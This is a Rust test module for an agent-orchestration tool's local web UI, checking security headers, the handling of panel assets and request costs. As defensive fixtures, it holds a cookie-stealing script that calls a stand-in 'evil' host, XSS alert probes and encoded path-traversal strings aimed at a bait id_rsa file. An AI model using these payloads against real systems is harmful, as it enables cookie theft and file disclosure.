10277 assert!(views.iter().all(|v| !v.deputies_enabled));
10278
10279 let calls = std::cell::Cell::new(0usize);
10280 let views = question_views(Vec::new(), &store, || {
10281 calls.set(calls.get() + 1);
10282 None
10283 });
10284 assert!(views.is_empty());
10285 assert_eq!(calls.get(), 0);
10286 }
10287
10288 use pretty_assertions::assert_eq;
10289 use serde_json::Value;
10290 use tempfile::TempDir;
10291 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10292
10293 use super::*;
10294 use crate::config::Config;
10295 use crate::queue::Source;
10296
10297 const SETTLE_STEPS: usize = 3_000;
10308
10309 struct Fixture {
10315 home: TempDir,
10316 addr: SocketAddr,
10317 }
10318
10319 impl Fixture {
10320 async fn start() -> Self {
10321 Self::with_loop(launch_idle).await
10322 }
10323
10324 async fn with_loop(launch: Launch) -> Self {
10326 let home = TempDir::new().expect("temp home");
10327 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10328 Self { home, addr }
10329 }
10330
10331 async fn with_repo(repo: PathBuf) -> Self {
10335 let home = TempDir::new().expect("temp home");
10336 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10337 Self { home, addr }
10338 }
10339
10340 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10343 let home = TempDir::new().expect("temp home");
10344 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10345 Self { home, addr }
10346 }
10347
10348 async fn serve(
10349 home: &FsPath,
10350 repo: PathBuf,
10351 launch: Launch,
10352 machine: Option<PathBuf>,
10353 ) -> SocketAddr {
10354 let queue = Queue::at(home.join("queue"));
10355 let runs = home.join("runs");
10356 std::fs::create_dir_all(&runs).expect("runs dir");
10357 let worktrees = home.join("wt").join("magi");
10358 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10359 let ui = Ui::new(
10360 queue,
10361 Questions::at(home.join("questions")),
10362 Talks::at(home.join("talks")),
10363 runs,
10364 home.to_path_buf(),
10365 repo,
10366 )
10367 .with_worktrees_root(worktrees)
10368 .with_machine_config(machine)
10369 .with_launch(launch);
10370 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10371 .await
10372 .expect("bind loopback");
10373 let addr = listener.local_addr().expect("local addr");
10374 tokio::spawn(async move {
10375 let router = ui
10376 .router()
10377 .layer(axum::middleware::from_fn(request_cost::observe));
10378 let _ = axum::serve(listener, router).await;
10379 });
10380 addr
10381 }
10382
10383 fn queue(&self) -> Queue {
10384 Queue::at(self.home.path().join("queue"))
10385 }
10386
10387 fn questions(&self) -> Questions {
10388 Questions::at(self.home.path().join("questions"))
10389 }
10390
10391 fn talks(&self) -> Talks {
10392 Talks::at(self.home.path().join("talks"))
10393 }
10394
10395 fn runs(&self) -> PathBuf {
10396 self.home.path().join("runs")
10397 }
10398
10399 async fn get(&self, path: &str) -> Res {
10400 request(self.addr, "GET", path, None).await
10401 }
10402
10403 async fn head(&self, path: &str) -> Res {
10408 request(self.addr, "HEAD", path, None).await
10409 }
10410
10411 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10412 request(self.addr, "POST", path, body).await
10413 }
10414
10415 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10416 request_with(self.addr, "GET", path, None, extra).await
10417 }
10418
10419 async fn delete(&self, path: &str) -> Res {
10420 request(self.addr, "DELETE", path, None).await
10421 }
10422
10423 async fn put(&self, path: &str, body: &str) -> Res {
10424 request(self.addr, "PUT", path, Some(body)).await
10425 }
10426
10427 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10429 request_bytes(self.addr, path, headers, body).await
10430 }
10431 }
10432
10433 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10436 let tmp = TempDir::new().unwrap();
10437 let mut repos = Vec::new();
10438 for name in ["one", "two"] {
10439 let repo = tmp.path().join(name);
10440 let origin = tmp.path().join(format!("{name}.git"));
10441 std::fs::create_dir_all(&repo).unwrap();
10442 crate::git::git(&repo, &["init", "-b", "main"])
10443 .await
10444 .unwrap();
10445 std::fs::write(
10446 repo.join("magi.toml"),
10447 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10448 )
10449 .unwrap();
10450 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10451 crate::git::git(
10452 &repo,
10453 &[
10454 "-c",
10455 "user.name=fixture",
10456 "-c",
10457 "user.email=fixture@example.invalid",
10458 "commit",
10459 "-m",
10460 "fixture",
10461 ],
10462 )
10463 .await
10464 .unwrap();
10465 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10466 .await
10467 .unwrap();
10468 crate::git::git(
10469 &repo,
10470 &["remote", "add", "origin", origin.to_str().unwrap()],
10471 )
10472 .await
10473 .unwrap();
10474 crate::git::git(&repo, &["push", "origin", "main"])
10475 .await
10476 .unwrap();
10477 crate::git::git(
10478 &repo,
10479 &[
10480 "symbolic-ref",
10481 "refs/remotes/origin/HEAD",
10482 "refs/remotes/origin/main",
10483 ],
10484 )
10485 .await
10486 .unwrap();
10487 let (cfg, _) = Config::discover(&repo, None).unwrap();
10488 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10489 repos.push(repo);
10490 }
10491 let repos: [PathBuf; 2] = repos.try_into().unwrap();
10492 (tmp, repos)
10493 }
10494
10495 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10496 let (tmp, repos) = performance_repositories().await;
10497 let machine = tmp.path().join("machine.toml");
10498 std::fs::write(&machine, "").unwrap();
10499 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10500 (tmp, repos, fx)
10501 }
10502
10503 fn seed_performance(
10504 fx: &Fixture,
10505 repos: &[PathBuf; 2],
10506 questions: usize,
10507 runs: usize,
10508 items: usize,
10509 ) {
10510 for i in fx.questions().list().len()..questions {
10512 let mut question = Question::new(
10513 "20261001-000000-0000".into(),
10514 "implement".into(),
10515 "impl-A".into(),
10516 format!("question {i}"),
10517 "context".into(),
10518 vec!["yes".into(), "no".into()],
10519 );
10520 question.id = format!("20261003-000000-{i:04x}");
10521 fx.questions().put(&mut question).unwrap();
10522 }
10523 for i in run_ids(&fx.runs()).len()..runs {
10524 write_run_repo(
10525 &fx.runs(),
10526 &format!("20261001-000000-{i:04x}"),
10527 RunStatus::Ready,
10528 repos[i % 2].to_str().unwrap(),
10529 );
10530 }
10531 for i in fx.talks().list().len()..items {
10532 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10533 let mut talk = fx.talks().get(&id).unwrap();
10534 talk.repo = repos[i % 2].clone();
10535 fx.talks().put(&mut talk).unwrap();
10536 let mut task = crate::queue::Task::new(
10537 format!("task {i}"),
10538 "instruction".into(),
10539 repos[i % 2].clone(),
10540 crate::queue::Source::Agent {
10541 run: id,
10542 node: crate::queue::CHAT_NODE.into(),
10543 },
10544 );
10545 task.id = format!("20261004-000000-{i:04x}");
10546 fx.queue().put(&mut task).unwrap();
10547 if i < crate::notices::CAP {
10549 Notices::at(fx.home.path().join("notifications"))
10550 .raise(Notice::info(&format!("notice-{i}"), "notification"))
10551 .unwrap();
10552 }
10553 }
10554 assert_eq!(fx.questions().list().len(), questions);
10555 assert_eq!(run_ids(&fx.runs()).len(), runs);
10556 assert_eq!(fx.talks().list().len(), items);
10557 assert_eq!(fx.queue().list().len(), items);
10558 assert_eq!(
10559 Notices::at(fx.home.path().join("notifications"))
10560 .list()
10561 .len(),
10562 items.min(crate::notices::CAP)
10563 );
10564 }
10565
10566 fn request_counts(res: &Res) -> (usize, usize) {
10567 assert_eq!(res.status, 200, "{}", res.body);
10568 (
10569 res.header("x-test-discoveries").unwrap().parse().unwrap(),
10570 res.header("x-test-git").unwrap().parse().unwrap(),
10571 )
10572 }
10573
10574 #[tokio::test]
10575 async fn list_request_cost_is_independent_of_record_count() {
10576 let (_tmp, repos, fx) = performance_fixture().await;
10577 let mut previous = None;
10578 for n in [4, 60] {
10579 seed_performance(&fx, &repos, n, n, n);
10580 let mut costs = Vec::new();
10581 for (path, discoveries) in [
10582 ("/api/questions", 1),
10583 ("/api/talks", 2),
10584 ("/api/health", 1),
10585 ("/api/stats", 1),
10586 ] {
10587 for repo in &repos {
10590 let cache = repo.join(".git/magi/config");
10591 if cache.exists() {
10592 std::fs::remove_dir_all(cache).unwrap();
10593 }
10594 }
10595 let cost = request_counts(&fx.get(path).await);
10596 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10597 assert_eq!(cost.0, discoveries, "{path}, N={n}");
10598 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10599 costs.push(cost);
10600 }
10601 if let Some(previous) = previous {
10602 assert_eq!(costs, previous);
10603 }
10604 previous = Some(costs);
10605 }
10606 }
10610
10611 #[tokio::test]
10614 async fn list_handler_cost_without_transport() {
10615 let (_tmp, repos) = performance_repositories().await;
10616 let fx = Fixture {
10617 home: TempDir::new().unwrap(),
10618 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10619 };
10620 let ui = Arc::new(
10621 Ui::new(
10622 fx.queue(),
10623 fx.questions(),
10624 fx.talks(),
10625 fx.runs(),
10626 fx.home.path().to_path_buf(),
10627 repos[0].clone(),
10628 )
10629 .with_worktrees_root(fx.home.path().join("wt")),
10630 );
10631 let mut previous = None;
10632 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10633 seed_performance(&fx, &repos, n, runs, items);
10634 let mut costs = Vec::new();
10635 for endpoint in ["questions", "talks", "health", "stats"] {
10636 for repo in &repos {
10637 let cache = repo.join(".git/magi/config");
10638 if cache.exists() {
10639 std::fs::remove_dir_all(cache).unwrap();
10640 }
10641 }
10642 let (_, cost) = request_cost::measure(async {
10643 match endpoint {
10644 "questions" => {
10645 let _ = questions_list(State(ui.clone())).await.unwrap();
10646 }
10647 "talks" => {
10648 let _ = talks_list(
10649 State(ui.clone()),
10650 Query(ListQuery {
10651 limit: None,
10652 ids: None,
10653 }),
10654 )
10655 .await
10656 .unwrap();
10657 }
10658 "health" => {
10659 let _ = health(State(ui.clone())).await.unwrap();
10660 }
10661 _ => {
10662 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10663 .await
10664 .unwrap();
10665 }
10666 }
10667 })
10668 .await;
10669 eprintln!("{endpoint} handler N={n}: {cost:?}");
10670 assert_eq!(
10671 cost.0,
10672 if endpoint == "talks" { 2 } else { 1 },
10673 "{endpoint}"
10674 );
10675 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10676 costs.push(cost);
10677 }
10678 if let Some(previous) = previous {
10679 assert_eq!(costs, previous);
10680 }
10681 previous = Some(costs);
10682 }
10683 }
10684
10685 #[tokio::test]
10686 async fn list_request_cost_scopes_do_not_mix() {
10687 let (_tmp, repos, fx) = performance_fixture().await;
10688 seed_performance(&fx, &repos, 10, 0, 10);
10689 let (questions, talks, notices) = tokio::join!(
10690 fx.get("/api/questions"),
10691 fx.get("/api/talks"),
10692 fx.get("/api/notifications")
10693 );
10694 assert_eq!(request_counts(&questions).0, 1);
10695 assert_eq!(request_counts(&talks).0, 2);
10696 assert_eq!(request_counts(¬ices), (0, 0));
10697 }
10698
10699 #[tokio::test]
10700 async fn list_endpoints_large_home_ceiling() {
10701 let (_tmp, repos, fx) = performance_fixture().await;
10702 seed_performance(&fx, &repos, 200, 300, 400);
10703 let mut failures = Vec::new();
10704 for path in [
10707 "/",
10708 "/app.js",
10709 "/app.css",
10710 "/api/questions",
10711 "/api/runs?limit=300",
10712 "/api/queue",
10713 "/api/talks",
10714 "/api/notifications",
10715 "/api/health",
10716 "/api/stats",
10717 "/api/loop",
10718 "/api/settings",
10719 "/api/repos",
10720 ] {
10721 let start = std::time::Instant::now();
10722 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10723 let elapsed = start.elapsed();
10724 eprintln!("{path}: {elapsed:?}");
10725 match result {
10726 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10727 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10728 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10729 }
10730 }
10731 assert!(failures.is_empty(), "{}", failures.join("\n"));
10732 }
10733
10734 struct Res {
10735 status: u16,
10736 headers: String,
10737 head: String,
10742 body: String,
10743 bytes: Vec<u8>,
10747 }
10748
10749 impl Res {
10750 fn json(&self) -> Value {
10751 serde_json::from_str(&self.body)
10752 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10753 }
10754
10755 fn header(&self, name: &str) -> Option<&str> {
10757 self.head.lines().find_map(|line| {
10758 let (key, value) = line.split_once(':')?;
10759 key.trim()
10760 .eq_ignore_ascii_case(name)
10761 .then(|| value.trim_start().trim_end_matches('\r'))
10762 })
10763 }
10764 }
10765
10766 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10769 request_with(addr, method, path, body, &[]).await
10770 }
10771
10772 async fn request_with(
10776 addr: SocketAddr,
10777 method: &str,
10778 path: &str,
10779 body: Option<&str>,
10780 extra: &[(&str, &str)],
10781 ) -> Res {
10782 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10783 for (name, value) in extra {
10784 head.push_str(&format!("{name}: {value}\r\n"));
10785 }
10786 if let Some(body) = body {
10787 head.push_str("Content-Type: application/json\r\n");
10788 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10789 }
10790 head.push_str("\r\n");
10791 if let Some(body) = body {
10792 head.push_str(body);
10793 }
10794 let mut socket = tokio::net::TcpStream::connect(addr)
10795 .await
10796 .expect("connect to the test server");
10797 socket
10798 .write_all(head.as_bytes())
10799 .await
10800 .expect("write request");
10801 let mut raw = Vec::new();
10802 socket.read_to_end(&mut raw).await.expect("read response");
10803 let split = raw
10806 .windows(4)
10807 .position(|w| w == b"\r\n\r\n")
10808 .expect("a header block");
10809 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10810 let bytes = raw[split + 4..].to_vec();
10811 let status = head
10812 .lines()
10813 .next()
10814 .and_then(|line| line.split_whitespace().nth(1))
10815 .and_then(|code| code.parse().ok())
10816 .expect("a status line");
10817 Res {
10818 status,
10819 headers: head.to_lowercase(),
10820 head,
10821 body: String::from_utf8_lossy(&bytes).into_owned(),
10822 bytes,
10823 }
10824 }
10825
10826 async fn request_bytes(
10832 addr: SocketAddr,
10833 path: &str,
10834 headers: &[(&str, &str)],
10835 body: &[u8],
10836 ) -> Res {
10837 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10838 for (name, value) in headers {
10839 head.push_str(&format!("{name}: {value}\r\n"));
10840 }
10841 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10842 let mut socket = tokio::net::TcpStream::connect(addr)
10843 .await
10844 .expect("connect to the test server");
10845 socket
10846 .write_all(head.as_bytes())
10847 .await
10848 .expect("write request head");
10849 socket.write_all(body).await.expect("write request body");
10850 let mut raw = Vec::new();
10851 socket.read_to_end(&mut raw).await.expect("read response");
10852 let split = raw
10853 .windows(4)
10854 .position(|w| w == b"\r\n\r\n")
10855 .expect("a header block");
10856 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10857 let bytes = raw[split + 4..].to_vec();
10858 let status = head
10859 .lines()
10860 .next()
10861 .and_then(|line| line.split_whitespace().nth(1))
10862 .and_then(|code| code.parse().ok())
10863 .expect("a status line");
10864 Res {
10865 status,
10866 headers: head.to_lowercase(),
10867 head,
10868 body: String::from_utf8_lossy(&bytes).into_owned(),
10869 bytes,
10870 }
10871 }
10872
10873 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10875 let mut state = RunState::new(
10876 PathBuf::from("/repo/magi"),
10877 "main".to_owned(),
10878 "0123456789abcdef".to_owned(),
10879 "Add a web UI\n\nMobile first.".to_owned(),
10880 Config::default(),
10881 );
10882 state.id = id.to_owned();
10883 state.status = status;
10884 let dir = runs.join(id);
10885 std::fs::create_dir_all(&dir).expect("run dir");
10886 std::fs::write(
10887 dir.join("run.json"),
10888 serde_json::to_string_pretty(&state).expect("serialize run"),
10889 )
10890 .expect("write run.json");
10891 }
10892
10893 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10897 let mut state = RunState::new(
10898 PathBuf::from(repo),
10899 "main".to_owned(),
10900 "0123456789abcdef".to_owned(),
10901 "task".to_owned(),
10902 Config::default(),
10903 );
10904 state.id = id.to_owned();
10905 state.status = status;
10906 let dir = runs.join(id);
10907 std::fs::create_dir_all(&dir).expect("run dir");
10908 std::fs::write(
10909 dir.join("run.json"),
10910 serde_json::to_string_pretty(&state).expect("serialize run"),
10911 )
10912 .expect("write run.json");
10913 }
10914
10915 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10916 let body = serde_json::json!({
10917 "schema": 1,
10918 "pid": 4242,
10919 "started_at": Timestamp::now().to_string(),
10920 "updated_at": updated_at.to_string(),
10921 "idle": false,
10922 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10923 "completed": 7,
10924 "polls": 143,
10925 });
10926 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10927 }
10928
10929 fn launch_idle(
10939 _opts: daemon::Opts,
10940 stop: daemon::Stop,
10941 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10942 Box::pin(async move {
10943 while !stop.stopped() {
10944 tokio::time::sleep(Duration::from_millis(2)).await;
10945 }
10946 Ok(())
10947 })
10948 }
10949
10950 fn launch_broken(
10953 _opts: daemon::Opts,
10954 _stop: daemon::Stop,
10955 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10956 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10961 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10962 Box::pin(async move {
10963 Err(anyhow::anyhow!(if first {
10964 "publish the daemon status file: read-only file system"
10965 } else {
10966 "the restarted stand-in failed as well"
10967 }))
10968 })
10969 }
10970
10971 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10978 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10979
10980 fn launch_knocking_on_the_way_out(
10987 _opts: daemon::Opts,
10988 stop: daemon::Stop,
10989 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10990 Box::pin(async move {
10991 while !stop.stopped() {
10992 tokio::time::sleep(Duration::from_millis(2)).await;
10993 }
10994 let addr = PARK_KNOCK
10995 .lock()
10996 .expect("park knock")
10997 .expect("the test set an address");
10998 let heard = request(addr, "GET", "/api/health", None).await.status;
10999 *PARK_HEARD.lock().expect("park heard") = Some(heard);
11000 Ok(())
11001 })
11002 }
11003
11004 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11013 for _ in 0..SETTLE_STEPS {
11014 let view = fx.get("/api/loop").await.json();
11015 if want(&view) {
11016 return view;
11017 }
11018 tokio::time::sleep(Duration::from_millis(10)).await;
11019 }
11020 panic!(
11021 "the loop never settled: {}",
11022 fx.get("/api/loop").await.json()
11023 );
11024 }
11025
11026 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11028 let store = fx.questions();
11029 let mut q = Question::new(
11030 "20260902-000000-beef".to_owned(),
11031 "implement".to_owned(),
11032 "impl-A".to_owned(),
11033 summary.to_owned(),
11034 "because it matters".to_owned(),
11035 choices.iter().map(|c| (*c).to_owned()).collect(),
11036 );
11037 store.put(&mut q).expect("put question");
11038 q.id
11039 }
11040
11041 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11047 let store = fx.questions();
11048 let mut q = Question::new(
11049 "20260902-000000-beef".to_owned(),
11050 "land".to_owned(),
11051 "fix".to_owned(),
11052 "Merge this?".to_owned(),
11053 "the diff is in the panel".to_owned(),
11054 vec!["merge".to_owned(), "hold".to_owned()],
11055 );
11056 let staging = fx.home.path().join("staging");
11059 std::fs::create_dir_all(&staging).expect("staging dir");
11060 let sources: Vec<PathBuf> = assets
11061 .iter()
11062 .map(|(name, bytes)| {
11063 let path = staging.join(name);
11064 std::fs::write(&path, bytes).expect("write staged asset");
11065 path
11066 })
11067 .collect();
11068 store
11069 .put_panel(&mut q, html, &sources)
11070 .expect("write the panel");
11071 store.put(&mut q).expect("put question");
11072 q.id
11073 }
11074
11075 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11084 seed_talk_at(&fx.talks(), id, status)
11085 }
11086
11087 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11088 std::fs::create_dir_all(store.root()).expect("talks dir");
11089 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11090 .expect("serialize a seat");
11091 let body = serde_json::json!({
11092 "schema": 1,
11093 "id": id,
11094 "repo": "/repo/magi",
11095 "agent": "mock",
11096 "status": status,
11097 "turns": [],
11098 "created_at": Timestamp::now().to_string(),
11099 "updated_at": Timestamp::now().to_string(),
11100 "seat": seat,
11101 });
11102 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11103 store.get(id).expect("the seeded talk has to be readable");
11104 id.to_owned()
11105 }
11106
11107 #[tokio::test]
11108 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11109 let fx = Fixture::start().await;
11110 let id = panel(
11111 &fx,
11112 "<h1>Merge?</h1><img src=\"diff.svg\">",
11113 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11114 );
11115
11116 for path in [
11117 format!("/api/questions/{id}/panel"),
11118 format!("/api/questions/{id}/asset/diff.svg"),
11119 ] {
11120 let res = fx.get(&path).await;
11121 assert_eq!(res.status, 200, "{path}: {}", res.body);
11122 assert_eq!(
11128 res.header("content-security-policy"),
11129 Some(
11130 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11131 font-src data:; base-uri 'none'; form-action 'none'; \
11132 frame-ancestors 'self'"
11133 ),
11134 "{path} is the only thing between a hostile panel and the tailnet"
11135 );
11136 assert_eq!(
11137 res.header("x-content-type-options"),
11138 Some("nosniff"),
11139 "{path}: a browser must not re-decide the type we sent"
11140 );
11141 assert_eq!(
11142 res.header("referrer-policy"),
11143 Some("no-referrer"),
11144 "{path}: a panel must not leak the question id off the machine"
11145 );
11146
11147 let pre = fx.head(&path).await;
11152 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11153 assert_eq!(
11154 pre.header("content-security-policy"),
11155 res.header("content-security-policy"),
11156 "{path}: the preflight carries the same policy"
11157 );
11158 assert_eq!(
11159 pre.header("content-type"),
11160 res.header("content-type"),
11161 "{path}: the preflight carries the same type"
11162 );
11163 }
11164 }
11165
11166 #[tokio::test]
11167 async fn a_panel_reaches_the_browser_byte_for_byte() {
11168 let fx = Fixture::start().await;
11169 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11174 let id = panel(&fx, html, &[]);
11175
11176 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11177
11178 assert_eq!(res.status, 200);
11179 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11180 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11181 assert_eq!(
11182 res.header("content-disposition"),
11183 None,
11184 "the panel itself is rendered in the frame, not downloaded"
11185 );
11186 }
11187
11188 #[tokio::test]
11189 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11190 let fx = Fixture::start().await;
11191 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11192 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11193 let id = panel(
11194 &fx,
11195 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11196 &[("diff.svg", svg), ("shot.png", png)],
11197 );
11198
11199 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11200 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11201
11202 assert_eq!(as_svg.status, 200);
11203 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11204 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11209
11210 assert_eq!(as_png.status, 200);
11211 assert_eq!(as_png.header("content-type"), Some("image/png"));
11212 assert_eq!(
11213 as_png.header("content-disposition"),
11214 None,
11215 "a raster image has no execution surface, so tapping it still shows it"
11216 );
11217 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11218 }
11219
11220 #[tokio::test]
11221 async fn an_html_asset_is_never_served_as_html() {
11222 let fx = Fixture::start().await;
11223 let id = panel(
11224 &fx,
11225 "<p>see the notes</p>",
11226 &[
11227 (
11228 "notes.html",
11229 b"<script>fetch('http://evil/'+document.cookie)</script>",
11230 ),
11231 ("hook.js", b"fetch('http://evil/')"),
11232 ("data.json", b"{}"),
11233 ("HEADLINE.TXT", b"plain"),
11234 ],
11235 );
11236
11237 for name in ["notes.html", "hook.js", "data.json"] {
11238 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11239 assert_eq!(res.status, 200, "{name}: {}", res.body);
11240 assert_eq!(
11245 res.header("content-type"),
11246 Some("application/octet-stream"),
11247 "{name} must not be a type the browser will execute or render"
11248 );
11249 }
11250 let txt = fx
11253 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11254 .await;
11255 assert_eq!(
11256 txt.header("content-type"),
11257 Some("text/plain; charset=utf-8")
11258 );
11259 }
11260
11261 #[tokio::test]
11262 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11263 let fx = Fixture::start().await;
11264 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11265 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11269
11270 for encoded in [
11277 "%2e%2e%2fid_rsa",
11278 "..%2fid_rsa",
11279 "..%5cid_rsa",
11280 "%2e%2e%5cid_rsa",
11281 "diff%00.svg",
11282 "..",
11283 ".hidden",
11284 "%2e%2e%2f%2e%2e%2fid_rsa",
11285 ] {
11286 let res = fx
11287 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11288 .await;
11289 assert_eq!(
11290 res.status, 400,
11291 "`{encoded}` has to be refused by name, not looked up: {}",
11292 res.body
11293 );
11294 assert!(res.json()["error"].is_string(), "{}", res.body);
11295 }
11296
11297 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11303 let res = fx
11304 .get(&format!("/api/questions/{id}/asset/{literal}"))
11305 .await;
11306 assert_eq!(
11307 res.status, 404,
11308 "`{literal}` must not match the asset route at all: {}",
11309 res.body
11310 );
11311 }
11312 }
11313
11314 #[tokio::test]
11315 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11316 let fx = Fixture::start().await;
11317 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11318 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11319
11320 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11324 assert_eq!(none.status, 404, "{}", none.body);
11325 assert!(none.json()["error"].is_string(), "{}", none.body);
11326 assert_eq!(
11327 fx.head(&format!("/api/questions/{plain}/panel"))
11328 .await
11329 .status,
11330 404,
11331 "the preflight is the only way the client can learn this"
11332 );
11333
11334 let missing = fx
11336 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11337 .await;
11338 assert_eq!(missing.status, 404, "{}", missing.body);
11339 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11340
11341 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11343 assert_eq!(
11344 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11345 404
11346 );
11347 }
11348
11349 #[tokio::test]
11350 async fn a_run_with_an_open_question_reads_as_waiting() {
11351 let fx = Fixture::start().await;
11352 let run = "20260902-000000-beef".to_owned();
11353 write_run(&fx.runs(), &run, RunStatus::Implementing);
11354
11355 let before = fx.get("/api/runs").await.json();
11356 assert_eq!(before[0]["waiting"], false, "{before}");
11357
11358 let store = fx.questions();
11359 let mut q = Question::new(
11360 run.clone(),
11361 "implement".to_owned(),
11362 "impl-A".to_owned(),
11363 "Which backend?".to_owned(),
11364 String::new(),
11365 vec!["SQLite".to_owned()],
11366 );
11367 store.put(&mut q).expect("put");
11368
11369 let during = fx.get("/api/runs").await.json();
11370 assert_eq!(during[0]["waiting"], true, "{during}");
11371
11372 q.answer(Answer::Choice("SQLite".to_owned()))
11375 .expect("answer");
11376 store.put(&mut q).expect("put");
11377 let after = fx.get("/api/runs").await.json();
11378 assert_eq!(after[0]["waiting"], false, "{after}");
11379 }
11380
11381 #[tokio::test]
11382 async fn an_open_question_is_listed_and_counted_by_health() {
11383 let fx = Fixture::start().await;
11384 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11385
11386 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11387 let listed = fx.get("/api/questions").await.json();
11388 assert_eq!(listed.as_array().expect("array").len(), 1);
11389 assert_eq!(listed[0]["id"], id);
11390 assert_eq!(listed[0]["status"], "open");
11391 assert_eq!(listed[0]["choices"][1], "Redis");
11392 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11395 }
11396
11397 fn obsolete_approval_state() -> RunState {
11398 let mut state = crate::land::tests::repair_state(true, true);
11399 state.pr = Some(crate::run::PrRecord {
11400 url: "https://github.com/example/repo/pull/42".into(),
11401 number: 42,
11402 state: "open".into(),
11403 checks: "green".into(),
